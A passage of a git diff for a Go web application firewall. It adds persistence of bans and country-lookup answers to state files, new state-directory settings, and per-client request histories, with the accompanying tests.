ledger.BanForLimit(v6, first.Expires, bans.Notes{}) + + snapshot := ledger.Snapshot() + + got := make([]string, 0, len(snapshot)) + for _, ban := range snapshot { + got = append(got, ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen)) + } + + want := []string{ + "203.0.113.9/32 12:00AM", "203.0.113.10/32 12:00AM", + "2001:db8::/64 12:00AM", "2001:db8::/64 1:00AM", + } + if !slices.Equal(got, want) { + t.Errorf("snapshot %v, want %v", got, want) + } +} + +func TestLoadedBansCarryOn(t *testing.T) { + t.Parallel() + + before := bans.New(defaultRules()) + netblock := netip.MustParsePrefix("203.0.113.9/32") + ban := before.BanForLimit(netblock, midnight(), bans.Notes{Limit: 1}) + + // Loaded into a new ledger, as across a restart, the ban still refuses + // while it lasts, and once it has ended a broken limit bans for three + // times as long, with the loaded ban counted among the earlier ones. + after := bans.New(defaultRules()) + after.Load(before.Snapshot()) + + _, banned := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second)) + if !banned { + t.Error("the loaded ban does not refuse") + } + + again := after.BanForLimit(netblock, ban.Expires, bans.Notes{}) + if again.Expires.Sub(again.Start) != 3*time.Hour || again.Notes.EarlierBans != 1 { + t.Errorf("the next ban lasts %s with %d earlier bans, want 3h and 1", + again.Expires.Sub(again.Start), again.Notes.EarlierBans) + } +} + +func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) { + t.Parallel() + + // Two entries as an admin might write them, with addresses not masked + // to their lengths, the IPv6 one shorter than the /64 an IPv6 client's + // ban covers, beside a ban the ledger makes on one IPv4 address. + ledger := bans.New(defaultRules()) + ledger.Load([]bans.Ban{ + {Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()}, + {Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()}, + }) + ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{}) + + for client, want := range map[string]bool{ + "203.0.113.0": true, + "203.0.113.200": true, + "203.0.114.1": false, + "2001:db8:0:5::1": true, + "2001:db8:1::1": false, + "198.51.100.7": true, + "198.51.100.8": false, + } { + _, banned := ledger.Check(netip.MustParseAddr(client), midnight()) + if banned != want { + t.Errorf("%s is refused: %t, want %t", client, banned, want) + } + } + + // The loaded netblocks are written back masked. + snapshot := ledger.Snapshot() + + got := make([]string, 0, len(snapshot)) + for _, ban := range snapshot { + got = append(got, ban.Netblock.String()) + } + + want := []string{"198.51.100.7/32", "203.0.113.0/24", "2001:db8::/48"} + if !slices.Equal(got, want) { + t.Errorf("the ledger holds bans on %v, want %v", got, want) + } +} + +func TestLoadKeepsAtMostMaxBansDroppingTheEarliest(t *testing.T) { + t.Parallel() + + // bans.json lists the bans by netblock, not in the order they began. + later := bans.Ban{Netblock: netip.MustParsePrefix("203.0.113.1/32"), Start: midnight()} + earlier := bans.Ban{ + Netblock: netip.MustParsePrefix("203.0.113.2/32"), + Start: midnight().Add(-time.Hour), + } + + rules := defaultRules() + rules.MaxBans = 1 + ledger := bans.New(rules) + ledger.Load([]bans.Ban{later, earlier}) + + held := ledger.Snapshot() + if len(held) != 1 || held[0] != later { + t.Errorf("the ledger holds %+v, want only the ban that began later", held) + } +} + +func TestLoadCutsTheTextsTo256Bytes(t *testing.T) { + t.Parallel() + + long := strings.Repeat("a", 300) + ban := bans.Ban{ + Netblock: netip.MustParsePrefix("203.0.113.9/32"), + Start: midnight(), + Notes: bans.Notes{Request: bans.Request{ + Method: long, Host: long, Path: long, UserAgent: long, + }}, + } + + ledger := bans.New(defaultRules()) + ledger.Load([]bans.Ban{ban}) + + cut := long[:256] + want := bans.Request{Method: cut, Host: cut, Path: cut, UserAgent: cut} + + got := ledger.Snapshot()[0].Notes.Request + if got != want { + t.Errorf("the notes keep %+v, want each text cut to 256 bytes", got) + } +} + +// wantChanged checks whether the ledger's Changed has a value to read. +func wantChanged(t *testing.T, ledger *bans.Ledger, want bool) { + t.Helper() + + got := false + + select { + case <-ledger.Changed(): + got = true + default: + } + + if got != want { + t.Errorf("Changed has a value: %t, want %t", got, want) + } +} diff --git a/internal/config/config.go b/internal/config/config.go index 37c4351..69e1281 100644 --- a/internal/config/config.go +++ b/internal/config/config.go @@ -12,6 +12,7 @@ import ( "net/http" "net/netip" "net/url" + "path/filepath" "slices" "strconv" "strings" @@ -94,6 +95,14 @@ type Config struct { // BanScopeV4Prefix is the length of the netblock around an IPv4 // client that a ban covers (SWWAF_BAN_SCOPE_V4_PREFIX). BanScopeV4Prefix int + // StateDir is the directory of the state files, an absolute path + // (SWWAF_STATE_DIR). bans.json is written StateWriteDelay after a ban + // is made (SWWAF_STATE_WRITE_DELAY), and every state file every + // StateCounterInterval (SWWAF_STATE_COUNTER_INTERVAL). Neither can be + // off. + StateDir string + StateWriteDelay time.Duration + StateCounterInterval time.Duration // settings are the values read, as given or by default, for the // log line at start. @@ -139,6 +148,8 @@ var ( errNotBanResponse = errors.New("is not 403, 429 or close") errNotV4Prefix = errors.New( "is not the length of an IPv4 netblock, from 0 to 32, such as 24") + errNotAbsolutePath = errors.New( + "is not an absolute path, such as /var/lib/smallwebwaf") ) // FromEnvironment reads the settings with lookupEnv, normally @@ -174,6 +185,9 @@ func FromEnvironment(lookupEnv func(string) (string, bool)) (*Config, error) { MaxBanDuration: env.durationNotOff("SWWAF_MAX_BAN_DURATION", "7d"), MaxBans: env.numberNotOff("SWWAF_MAX_BANS", "5000"), BanScopeV4Prefix: env.v4Prefix("SWWAF_BAN_SCOPE_V4_PREFIX", "32"), + StateDir: env.absolutePath("SWWAF_STATE_DIR", "/var/lib/smallwebwaf"), + StateWriteDelay: env.durationNotOff("SWWAF_STATE_WRITE_DELAY", "10s"), + StateCounterInterval: env.durationNotOff("SWWAF_STATE_COUNTER_INTERVAL", "15m"), } for _, country := range cfg.ExclusivelyAllowedCountries { @@ -329,6 +343,16 @@ func (e *environment) v4Prefix(name, defaultValue string) int { return length } +// absolutePath reads a setting that is an absolute path. +func (e *environment) absolutePath(name, defaultValue string) string { + path := e.value(name, defaultValue) + if !filepath.IsAbs(path) { + e.check(name, fmt.Errorf("%q %w", path, errNotAbsolutePath)) + } + + return path +} + // parseDuration reads a duration in Go's syntax, such as 90s or 15m, a // whole number of days such as 7d, or off. func parseDuration(value string) (time.Duration, error) { diff --git a/internal/config/config_test.go b/internal/config/config_test.go index b48b379..310764d 100644 --- a/internal/config/config_test.go +++ b/internal/config/config_test.go @@ -41,6 +41,9 @@ const ( maxBanDuration = "SWWAF_MAX_BAN_DURATION" maxBans = "SWWAF_MAX_BANS" banScopeV4Prefix = "SWWAF_BAN_SCOPE_V4_PREFIX" + stateDir = "SWWAF_STATE_DIR" + stateWriteDelay = "SWWAF_STATE_WRITE_DELAY" + stateCounterInterval = "SWWAF_STATE_COUNTER_INTERVAL" ) // off switches a timeout, a size limit or a rate limit off. @@ -92,6 +95,9 @@ func TestDefaults(t *testing.T) { MaxBanDuration: 7 * 24 * time.Hour, MaxBans: 5000, BanScopeV4Prefix: 32, + StateDir: "/var/lib/smallwebwaf", + StateWriteDelay: 10 * time.Second, + StateCounterInterval: 15 * time.Minute, }) if cfg.UpstreamURL.String() != "http://127.0.0.1:8081" { @@ -136,6 +142,9 @@ func TestValuesAsSet(t *testing.T) { maxBanDuration: "30d", maxBans: "100", banScopeV4Prefix: "24", + stateDir: "/srv/waf-state", + stateWriteDelay: "500ms", + stateCounterInterval: "1h", }) wantSettings(t, cfg, config.Config{ @@ -157,6 +166,9 @@ func TestValuesAsSet(t *testing.T) { MaxBanDuration: 30 * 24 * time.Hour, MaxBans: 100, BanScopeV4Prefix: 24, + StateDir: "/srv/waf-state", + StateWriteDelay: 500 * time.Millisecond, + StateCounterInterval: time.Hour, }) if cfg.UpstreamURL.String() != "https://app.internal:8443/" { @@ -329,6 +341,9 @@ func TestInvalidValueStopsTheStart(t *testing.T) { {maxBanDuration, off}, {maxBanDuration, "1w"}, {maxBans, off}, {maxBans, "0"}, {maxBans, "5K"}, {banScopeV4Prefix, "33"}, {banScopeV4Prefix, "-1"}, {banScopeV4Prefix, "/24"}, + {stateDir, ""}, {stateDir, "state"}, {stateDir, "./var/lib/smallwebwaf"}, + {stateWriteDelay, off}, {stateWriteDelay, "0s"}, + {stateCounterInterval, off}, {stateCounterInterval, "15"}, } { t.Run(tc.name+"="+tc.value, func(t *testing.T) { t.Parallel() @@ -389,6 +404,9 @@ func TestLogsEachSettingWithItsValue(t *testing.T) { maxBanDuration: "7d", maxBans: "5000", banScopeV4Prefix: "32", + stateDir: "/var/lib/smallwebwaf", + stateWriteDelay: "10s", + stateCounterInterval: "15m", } if !maps.Equal(line.Settings, want) { t.Errorf("logged settings\n%v\nwant\n%v", line.Settings, want) @@ -417,7 +435,7 @@ func wantSettings(t *testing.T, got *config.Config, want config.Config) { wantBanSettings(t, got, want) } -// wantBanSettings checks the settings for bans. +// wantBanSettings checks the settings for bans and the state files. func wantBanSettings(t *testing.T, got *config.Config, want config.Config) { t.Helper() @@ -429,6 +447,12 @@ func wantBanSettings(t *testing.T, got *config.Config, want config.Config) { got.BanScopeV4Prefix != want.BanScopeV4Prefix { t.Errorf("ban settings\n%+v\nwant\n%+v", got, want) } + + if got.StateDir != want.StateDir || + got.StateWriteDelay != want.StateWriteDelay || + got.StateCounterInterval != want.StateCounterInterval { + t.Errorf("state settings\n%+v\nwant\n%+v", got, want) + } } // wantNetblocks checks a list of netblocks. diff --git a/internal/lookup/lookup.go b/internal/lookup/lookup.go index 145df17..c5633ab 100644 --- a/internal/lookup/lookup.go +++ b/internal/lookup/lookup.go @@ -1,6 +1,7 @@ // Package lookup looks up each client's country through the GeoJS web // service, and keeps the answers in memory, for at most 100,000 clients -// and for 7 days each. +// and for 7 days each. The answers are written to lookups.json and read +// from it by the state package. package lookup import ( @@ -12,6 +13,7 @@ import ( "log/slog" "net/http" "net/netip" + "slices" "strings" "sync" "time" @@ -76,7 +78,7 @@ type GeoJS struct { httpClient *http.Client mu sync.Mutex - answers *simplelru.LRU[netip.Prefix, answer] + answers *simplelru.LRU[netip.Prefix, *Answer] // waiting are the clients without an answer: those to ask GeoJS about, // and those it is being asked about. waiting map[netip.Prefix]*wait @@ -88,11 +90,14 @@ type GeoJS struct { retryAt time.Time } -// answer is what GeoJS said about a client: its country, "" when GeoJS -// cannot place it, and when GeoJS said so. -type answer struct { - country string - received time.Time +// Answer is what GeoJS said about a client, as lookups.json holds it: its +// country, "" when GeoJS cannot place it, when GeoJS said so, and when +// the answer was last used. +type Answer struct { + Client netip.Prefix `json:"client"` + Country string `json:"country"` + Answered time.Time `json:"answered"` + Used time.Time `json:"used"` } // wait is a client waiting for its answer. @@ -107,7 +112,7 @@ type wait struct { // New returns a GeoJS with no answer kept yet. func New(params Params) *GeoJS { - answers, err := simplelru.NewLRU[netip.Prefix, answer](maxAnswers, nil) + answers, err := simplelru.NewLRU[netip.Prefix, *Answer](maxAnswers, nil) if err != nil { panic(err) // NewLRU fails only for a size below one } @@ -164,6 +169,47 @@ func (g *GeoJS) Country(ctx context.Context, client netip.Prefix) string { return country } +// Snapshot returns every answer kept, sorted by client, as lookups.json +// lists them. +func (g *GeoJS) Snapshot() []Answer { + g.mu.Lock() + + answers := make([]Answer, 0, g.answers.Len()) + for _, kept := range g.answers.Values() { + answers = append(answers, *kept) + } + + g.mu.Unlock() + + slices.SortFunc(answers, func(a, b Answer) int { + return a.Client.Compare(b.Client) + }) + + return answers +} + +// Load keeps answers read from lookups.json, in a GeoJS that keeps none +// yet, in the order they were last used, so that the one used longest +// ago is dropped first. Answers GeoJS gave keepFor ago or more are +// dropped. +func (g *GeoJS) Load(answers []Answer) { + g.mu.Lock() + defer g.mu.Unlock() + + answers = slices.Clone(answers) + slices.SortStableFunc(answers, func(a, b Answer) int { + return a.Used.Compare(b.Used) + }) + + now := g.now() + + for _, answer := range answers { + if now.Sub(answer.Answered) < keepFor { + g.answers.Add(answer.Client, &answer) + } + } +} + // answerOrWait returns client's kept answer if it has one. Otherwise it // puts the client among those waiting if there is room, has GeoJS asked // about them if it can be, and returns what to wait on for the answer, or @@ -203,15 +249,19 @@ func (g *GeoJS) answerOrWait( return "", w.asked } -// kept returns client's answer, if one was received less than keepFor -// ago. +// kept returns client's answer, if GeoJS gave it less than keepFor ago, +// and notes that it was used. func (g *GeoJS) kept(client netip.Prefix) (string, bool) { + now := g.now() + kept, found := g.answers.Get(client) - if !found || g.now().Sub(kept.received) >= keepFor { + if !found || now.Sub(kept.Answered) >= keepFor { return "", false } - return kept.country, true + kept.Used = now + + return kept.Country, true } // ask starts asking GeoJS about the waiting clients, unless a request to @@ -293,7 +343,9 @@ func (g *GeoJS) keep( continue } - g.answers.Add(client, answer{country: country, received: now}) + g.answers.Add(client, &Answer{ + Client: client, Country: country, Answered: now, Used: now, + }) close(g.waiting[client].asked) delete(g.waiting, client) } diff --git a/internal/lookup/snapshot_test.go b/internal/lookup/snapshot_test.go new file mode 100644 index 0000000..780687b --- /dev/null +++ b/internal/lookup/snapshot_test.go @@ -0,0 +1,96 @@ +package lookup_test + +import ( + "net/netip" + "slices" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/lookup" +) + +func TestSnapshotHoldsEachAnswerAndWhenItWasLastUsed(t *testing.T) { + t.Parallel() + + _, clock, g := start(t) + placed := netip.MustParsePrefix("203.0.113.9/32") + notPlaced := netip.MustParsePrefix(unplaced + "/32") + asked := clock.Now() + + wantCountry(t, g, placed, germany) + wantCountry(t, g, notPlaced, "") + + clock.advance(time.Hour) + wantCountry(t, g, placed, germany) + + want := []lookup.Answer{ + {Client: notPlaced, Country: "", Answered: asked, Used: asked}, + {Client: placed, Country: germany, Answered: asked, Used: asked.Add(time.Hour)}, + } + if got := g.Snapshot(); !slices.Equal(got, want) { + t.Errorf("snapshot\n%+v\nwant\n%+v", got, want) + } +} + +func TestLoadedAnswersAreKeptFor7DaysFromWhenGeoJSGaveThem(t *testing.T) { + t.Parallel() + + geojs, clock, g := start(t) + now := clock.Now() + kept := lookup.Answer{ + Client: netip.MustParsePrefix("203.0.113.9/32"), + Country: "FR", + Answered: now.Add(-week + time.Second), + Used: now.Add(-time.Hour), + } + stale := lookup.Answer{ + Client: netip.MustParsePrefix("203.0.113.10/32"), + Country: "FR", + Answered: now.Add(-week), + Used: now.Add(-time.Hour), + } + + g.Load([]lookup.Answer{kept, stale}) + + if got := g.Snapshot(); !slices.Equal(got, []lookup.Answer{kept}) { + t.Errorf("kept %+v, want only the answer GeoJS gave less than 7 days ago", got) + } + + wantCountry(t, g, kept.Client, "FR") + wantRequests(t, geojs, 0) +} + +func TestLoadDropsTheAnswerUsedLongestAgoFirst(t *testing.T) { + t.Parallel() + + const maxAnswers = 100000 + + _, clock, g := start(t) + now := clock.Now() + + // lookups.json lists the answers by client. Here each was last used a + // second before the one listed before it, so the last listed is the + // one used longest ago, and the one dropped. + answers := make([]lookup.Answer, maxAnswers+1) + addr := netip.MustParseAddr("10.0.0.0") + + for i := range answers { + answers[i] = lookup.Answer{ + Client: netip.PrefixFrom(addr, addr.BitLen()), + Country: germany, + Answered: now, + Used: now.Add(-time.Duration(i) * time.Second), + } + addr = addr.Next() + } + + g.Load(answers) + + got := g.Snapshot() + if len(got) != maxAnswers || got[0] != answers[0] || + got[maxAnswers-1] != answers[maxAnswers-1] { + t.Errorf("%d answers kept, from %s to %s; want %d, from %s to %s", + len(got), got[0].Client, got[len(got)-1].Client, maxAnswers, + answers[0].Client, answers[maxAnswers-1].Client) + } +} diff --git a/internal/proxy/bans.go b/internal/proxy/bans.go index d132b27..596f6dc 100644 --- a/internal/proxy/bans.go +++ b/internal/proxy/bans.go @@ -14,10 +14,10 @@ func (rq *request) banResponse(action string) *refusal { return &refusal{status: rq.h.config.BanResponse, action: action} } -// banned reports whether a ban on the client's netblock refuses the -// request at now, and notes for the log line when that ban ends. +// banned reports whether a ban on a netblock the client is in refuses +// the request at now, and notes for the log line when that ban ends. func (rq *request) banned(now time.Time) bool { - ban, banned := rq.h.ledger.Check(rq.netblock(), now) + ban, banned := rq.h.ledger.Check(rq.client, now) if banned { rq.line.BanExpires = banExpires(ban) } @@ -36,7 +36,8 @@ func (rq *request) limitBroken(now time.Time) bool { return false } - ban := rq.h.ledger.BanForLimit(rq.netblock(), now, bans.Notes{ + netblock := rq.netblock() + ban := rq.h.ledger.BanForLimit(netblock, now, bans.Notes{ Country: rq.line.Country, Limit: hit.Limit, Window: hit.Window, @@ -49,6 +50,8 @@ func (rq *request) limitBroken(now time.Time) bool { Status: rq.h.config.BanResponse, UserAgent: rq.in.UserAgent(), }, + // The histories count this request only once it has ended. + Requests: rq.h.limiter.Requests(netblock) + 1, }) rq.h.limiter.Reset(group) diff --git a/internal/proxy/bans_test.go b/internal/proxy/bans_test.go index 8296825..e1aa4ef 100644 --- a/internal/proxy/bans_test.go +++ b/internal/proxy/bans_test.go @@ -133,7 +133,7 @@ func TestBanIsNotCountedAndResetsTheCounters(t *testing.T) { s.get(client, http.StatusOK, requestlog.ActionForward) s.get(client, http.StatusForbidden, requestlog.ActionRateLimited) - banned := proxy.LedgerOf(server).Bans(netip.MustParsePrefix(client + "/32")) + banned := server.Ledger.Bans(netip.MustParsePrefix(client + "/32")) if len(banned) != 2 || banned[0].Notes.Refused != 3 { t.Errorf("bans %+v, want two, the first with 3 requests refused", banned) } @@ -291,12 +291,15 @@ func TestBanNotes(t *testing.T) { Status: http.StatusForbidden, UserAgent: userAgent, }, + // The one let through, the one that broke the limit and the two + // refused under the ban. + Requests: 4, Refused: 2, EarlierBans: 0, }, } - ledger := proxy.LedgerOf(server) + ledger := server.Ledger got := ledger.Bans(netblock) if len(got) != 1 || got[0] != want { @@ -361,7 +364,7 @@ func (c *clock) advance(d time.Duration) { // set to midnight, the start of a bucket in every window. func startWithClock( t *testing.T, geojsURL string, env map[string]string, -) (*sender, *clock, *http.Server) { +) (*sender, *clock, *proxy.Server) { t.Helper() app := startApp(t, func(http.ResponseWriter, *http.Request) {}) diff --git a/internal/proxy/export_test.go b/internal/proxy/export_test.go deleted file mode 100644 index 0a92299..0000000 --- a/internal/proxy/export_test.go +++ /dev/null @@ -1,15 +0,0 @@ -package proxy - -import ( - "net/http" - - "sneak.berlin/go/smallwebwaf/internal/bans" -) - -// LedgerOf returns the ban ledger of a server New returned, so that the -// tests can read the bans' notes. -func LedgerOf(server *http.Server) *bans.Ledger { - h, _ := server.Handler.(*handler) - - return h.ledger -} diff --git a/internal/proxy/history_test.go b/internal/proxy/history_test.go new file mode 100644 index 0000000..942185e --- /dev/null +++ b/internal/proxy/history_test.go @@ -0,0 +1,103 @@ +package proxy_test + +import ( + "io" + "net/http" + "net/netip" + "strings" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/proxy" + "sneak.berlin/go/smallwebwaf/internal/ratelimit" + "sneak.berlin/go/smallwebwaf/internal/requestlog" +) + +func TestHistoryKeepsEachRequestOfTheClient(t *testing.T) { + t.Parallel() + + geojsURL, _ := startGeoJS(t) + s, clk, server := startWithClock(t, geojsURL, map[string]string{ + rateLimitPerMinute: "2", + deniedCountries: "kp", + }) + start := clk.Now() + + // Two let through, one over the limit, which bans the client, and one + // refused under that ban, for which the country is not looked up. + s.get(fromDE, http.StatusOK, requestlog.ActionForward) + clk.advance(time.Second) + s.get(fromDE, http.StatusOK, requestlog.ActionForward) + s.get(fromDE, http.StatusForbidden, requestlog.ActionRateLimited) + clk.advance(time.Second) + s.get(fromDE, http.StatusForbidden, requestlog.ActionBanned) + + want := ratelimit.History{ + FirstSeen: start, + LastSeen: start.Add(2 * time.Second), + Country: "DE", + LookedUp: start.Add(time.Second), + Requests: 4, + Forwarded: 2, + Refused: 2, + // The app answers with no body, smallwebwaf with its status text. + ResponseBytes: 2 * int64(len("Forbidden\n")), + Responses: ratelimit.Responses{Status2xx: 2, Status4xx: 2}, + Offences: ratelimit.Offences{Limit: 1}, + } + + got := historyOf(t, server, fromDE) + if got != want { + t.Errorf("history\n%+v\nwant\n%+v", got, want) + } +} + +func TestHistoryCountsTheBodiesEachWay(t *testing.T) { + t.Parallel() + + app := startApp(t, func(w http.ResponseWriter, r *http.Request) { + _, _ = io.Copy(io.Discard, r.Body) + _, _ = io.WriteString(w, "hello") + }) + addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil) + + got := do(t, newRequest(t, http.MethodPost, addr, "/", strings.NewReader("abc"))) + wantStatus(t, got, http.StatusOK) + out.requestLine(t) + + history := historyOf(t, server, localhost) + if history.RequestBytes != 3 || history.ResponseBytes != 5 { + t.Errorf("history counts %d bytes in and %d out, want 3 and 5", + history.RequestBytes, history.ResponseBytes) + } +} + +func TestHealthEndpointIsNotInTheHistory(t *testing.T) { + t.Parallel() + + app := startApp(t, func(http.ResponseWriter, *http.Request) {}) + addr, out, server := startProxyWithClock(t, app.URL, "", time.Now, nil) + + wantStatus(t, get(t, addr, proxy.HealthPath), http.StatusOK) + out.requestLine(t) + + if clients := server.Limiter.Snapshot(); len(clients) != 0 { + t.Errorf("the table holds %+v, want no client", clients) + } +} + +// historyOf returns the history of the client at addr. +func historyOf(t *testing.T, server *proxy.Server, addr string) ratelimit.History { + t.Helper() + + client := netip.MustParsePrefix(addr + "/32") + for _, c := range server.Limiter.Snapshot() { + if c.Client == client { + return c.History + } + } + + t.Fatalf("%s is not in the table", client) + + return ratelimit.History{} +} diff --git a/internal/proxy/proxy.go b/internal/proxy/proxy.go index fe6b89c..ea02a9b 100644 --- a/internal/proxy/proxy.go +++ b/internal/proxy/proxy.go @@ -38,53 +38,70 @@ type Params struct { // lookup.URL. GeoJS is asked only while a country list is set. GeoJSURL string // Now tells the time by which requests are counted for the rate - // limits and bans are made and run out, normally time.Now. + // limits, bans are made and run out, and GeoJS's answers are kept, + // normally time.Now in UTC, the time the state files give. Now func() time.Time } +// Server is the server smallwebwaf runs, with the parts of the proxy +// whose state the state files keep. +type Server struct { + *http.Server + + Ledger *bans.Ledger + Limiter *ratelimit.Limiter + GeoJS *lookup.GeoJS +} + // New returns the server smallwebwaf runs: each request it reads passes // through the proxy. Go's server itself refuses a request line and // headers over SWWAF_CLIENT_REQUEST_HEADER_MAX_BYTES, with 431, closes a // connection idle for SWWAF_CLIENT_IDLE_TIMEOUT, and applies // SWWAF_CLIENT_REQUEST_TIMEOUT while the headers arrive; the proxy // applies the timeouts and size limits from then on. -func New(params Params) *http.Server { +func New(params Params) *Server { errorLog := slog.NewLogLogger(params.ProcessLog.Handler(), slog.LevelWarn) + h := &handler{ + config: params.Config, + requestLog: params.RequestLog, + processLog: params.ProcessLog, + errorLog: errorLog, + transport: newTransport(), + now: params.Now, + limiter: ratelimit.New(ratelimit.Limits{ + PerMinute: params.Config.RateLimitPerMinute, + PerHour: params.Config.RateLimitPerHour, + PerDay: params.Config.RateLimitPerDay, + }), + ledger: bans.New(bans.Rules{ + LimitBanDuration: params.Config.LimitBanDuration, + LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow, + MaxBanDuration: params.Config.MaxBanDuration, + MaxBans: params.Config.MaxBans, + }), + geojs: lookup.New(lookup.Params{ + URL: params.GeoJSURL, + Now: params.Now, + ProcessLog: params.ProcessLog, + }), + } - return &http.Server{ - Addr: params.Config.ListenAddr, - Handler: &handler{ - config: params.Config, - requestLog: params.RequestLog, - processLog: params.ProcessLog, - errorLog: errorLog, - transport: newTransport(), - now: params.Now, - limiter: ratelimit.New(ratelimit.Limits{ - PerMinute: params.Config.RateLimitPerMinute, - PerHour: params.Config.RateLimitPerHour, - PerDay: params.Config.RateLimitPerDay, - }), - ledger: bans.New(bans.Rules{ - LimitBanDuration: params.Config.LimitBanDuration, - LimitBanRepeatWindow: params.Config.LimitBanRepeatWindow, - MaxBanDuration: params.Config.MaxBanDuration, - MaxBans: params.Config.MaxBans, - }), - geojs: lookup.New(lookup.Params{ - URL: params.GeoJSURL, - Now: time.Now, - ProcessLog: params.ProcessLog, - }), + return &Server{ + Server: &http.Server{ + Addr: params.Config.ListenAddr, + Handler: h, + ReadHeaderTimeout: params.Config.ClientRequestTimeout, + // Off is an IdleTimeout of 0, which Go's server replaces with + // ReadTimeout: no limit, as long as ReadTimeout stays unset. + IdleTimeout: params.Config.ClientIdleTimeout, + // Go's server reads 4 KiB past MaxHeaderBytes before it + // refuses, so the limit a client meets is the setting. + MaxHeaderBytes: int(params.Config.ClientRequestHeaderMaxBytes - 4<<10), + ErrorLog: errorLog, }, - ReadHeaderTimeout: params.Config.ClientRequestTimeout, - // Off is an IdleTimeout of 0, which Go's server replaces with - // ReadTimeout: no limit, as long as ReadTimeout stays unset. - IdleTimeout: params.Config.ClientIdleTimeout, - // Go's server reads 4 KiB past MaxHeaderBytes before it refuses, - // so the limit a client meets is the setting. - MaxHeaderBytes: int(params.Config.ClientRequestHeaderMaxBytes - 4<<10), - ErrorLog: errorLog, + Ledger: h.ledger, + Limiter: h.limiter, + GeoJS: h.geojs, } } @@ -130,6 +147,9 @@ func (h *handler) ServeHTTP(w http.ResponseWriter, r *http.Request) { return } + // Once the request has ended, before its log line is written. + defer rq.addToHistory() + refused := rq.check(r.Context()) if refused != nil { rq.answer(*refused) diff --git a/internal/proxy/proxy_test.go b/internal/proxy/proxy_test.go index a870581..31334d0 100644 --- a/internal/proxy/proxy_test.go +++ b/internal/proxy/proxy_test.go @@ -200,7 +200,7 @@ func startProxyWithGeoJS( func startProxyWithClock( t *testing.T, appURL, geojsURL string, now func() time.Time, env map[string]string, -) (string, *output, *http.Server) { +) (string, *output, *proxy.Server) { t.Helper() settings := map[string]string{"SWWAF_UPSTREAM_URL": appURL} diff --git a/internal/proxy/request.go b/internal/proxy/request.go index c4849f5..4c5f370 100644 --- a/internal/proxy/request.go +++ b/internal/proxy/request.go @@ -12,6 +12,7 @@ import ( "sync/atomic" "time" + "sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/requestlog" ) @@ -318,6 +319,24 @@ func (rq *request) finish() { } } +// addToHistory adds the request, which has ended, to its client's +// history. +func (rq *request) addToHistory() { + var requestBytes int64 + if rq.body != nil { + requestBytes = rq.body.bytes.Load() + } + + rq.h.limiter.AddToHistory(clientGroup(rq.client), rq.h.now(), ratelimit.Request{ + Country: rq.line.Country, + Forwarded: !rq.upstreamStart.IsZero(), + Status: rq.out.status, + RequestBytes: requestBytes, + ResponseBytes: rq.out.bytes, + BrokeLimit: rq.line.Offence == requestlog.OffenceLimit, + }) +} + // clientRequestDeadline is when the client must have sent its whole // request, or zero when SWWAF_CLIENT_REQUEST_TIMEOUT is off. func (rq *request) clientRequestDeadline() time.Time { diff --git a/internal/ratelimit/history_test.go b/internal/ratelimit/history_test.go new file mode 100644 index 0000000..1c621d8 --- /dev/null +++ b/internal/ratelimit/history_test.go @@ -0,0 +1,116 @@ +package ratelimit_test + +import ( + "net/netip" + "testing" + "time" + + "sneak.berlin/go/smallwebwaf/internal/ratelimit" +) + +func TestHistoryKeepsEveryRequest(t *testing.T) { + t.Parallel() + + limiter := ratelimit.New(ratelimit.Limits{}) + client := netip.MustParsePrefix("203.0.113.9/32") + start := midnight() + + for i, r := range []ratelimit.Request{ + {Country: "DE", Forwarded: true, Status: 200, RequestBytes: 10, ResponseBytes: 100}, + {Forwarded: true, Status: 101}, + {Forwarded: true, Status: 304, RequestBytes: 5}, + {Country: "FR", Status: 403, ResponseBytes: 10, BrokeLimit: true}, + {Forwarded: true, Status: 502, ResponseBytes: 12}, + // Closed without an answer: refused, and no response. + {Status: 0}, + } { + limiter.AddToHistory(client, start.Add(time.Duration(i)*time.Minute), r) + } + + want := ratelimit.History{ + FirstSeen: start, + LastSeen: start.Add(5 * time.Minute), + Country: "FR", + LookedUp: start.Add(3 * time.Minute), + Requests: 6, + Forwarded: 4, + Refused: 2, + RequestBytes: 15, + ResponseBytes: 122, + Responses: ratelimit.Responses{ + Status1xx: 1, Status2xx: 1, Status3xx: 1, Status4xx: 1, Status5xx: 1, + }, + Offences: ratelimit.Offences{Limit: 1}, + } + + got := historyOf(t, limiter, client) + if got != want { + t.Errorf("history\n%+v\nwant\n%+v", got, want) + } +} + +func TestResetKeepsTheHistory(t *testing.T) { + t.Parallel() + + limiter := ratelimit.New(ratelimit.Limits{PerMinute: limit}) + client := netip.MustParsePrefix("203.0.113.9/32") + start := midnight() + + for range limit { + wantCount(t, limiter, client, start, "") + limiter.AddToHistory(client, start, ratelimit.Request{Forwarded: true}) + } + + limiter.Reset(client) + + if got := historyOf(t, limiter, client).Requests; got != limit { + t.Errorf("the history counts %d requests, want %d", got, limit) + } +} + +func TestRequestsAddsUpTheClientsInsideTheNetblock(t *testing.T) { + t.Parallel() + + limiter := ratelimit.New(ratelimit.Limits{}) + + for client, requests := range map[string]int{ + "198.51.100.9/32": 2, + "198.51.100.10/32": 3, + "192.0.2.1/32": 5, + "2001:db8:5::/64": 7, + } { + for range requests { + limiter.AddToHistory(netip.MustParsePrefix(client), midnight(), + ratelimit.Request{}) + } + } + + for netblock, want := range map[string]int64{ + "198.51.100.9/32": 2, + "198.51.100.0/24": 5, + "2001:db8:5::/64": 7, + "203.0.113.0/24": 0, + } { + got := limiter.Requests(netip.MustParsePrefix(netblock)) + if got != want { + t.Errorf("%s has sent %d requests, want %d", netblock, got, want) + } + } +} + +// historyOf returns client's history. +func historyOf( + t *testing.T, limiter *ratelimit.Limiter, client netip.Prefix, +) ratelimit.History { + t.Helper() + + for _, c := range limiter.Snapshot() { + if c.Client == client { + return c.History + } + } + + t.Fatalf("%s is not in the table", client) + + return ratelimit.History{} +} diff --git a/internal/ratelimit/ratelimit.go b/internal/ratelimit/ratelimit.go index 395cc85..63496b9 100644 --- 